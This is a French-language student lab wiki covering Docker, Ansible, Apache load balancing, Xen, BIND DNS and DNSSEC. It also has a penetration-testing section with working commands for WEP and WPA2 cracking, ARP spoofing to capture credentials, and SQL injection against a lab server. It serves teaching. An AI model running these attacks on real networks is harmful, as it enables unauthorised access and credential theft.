   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.site (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55273</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55273"/>
				<updated>2020-12-28T13:47:21Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Configuration de nos serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé. (Merci Paul pour ta carte graphique à 4 chiffres)&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
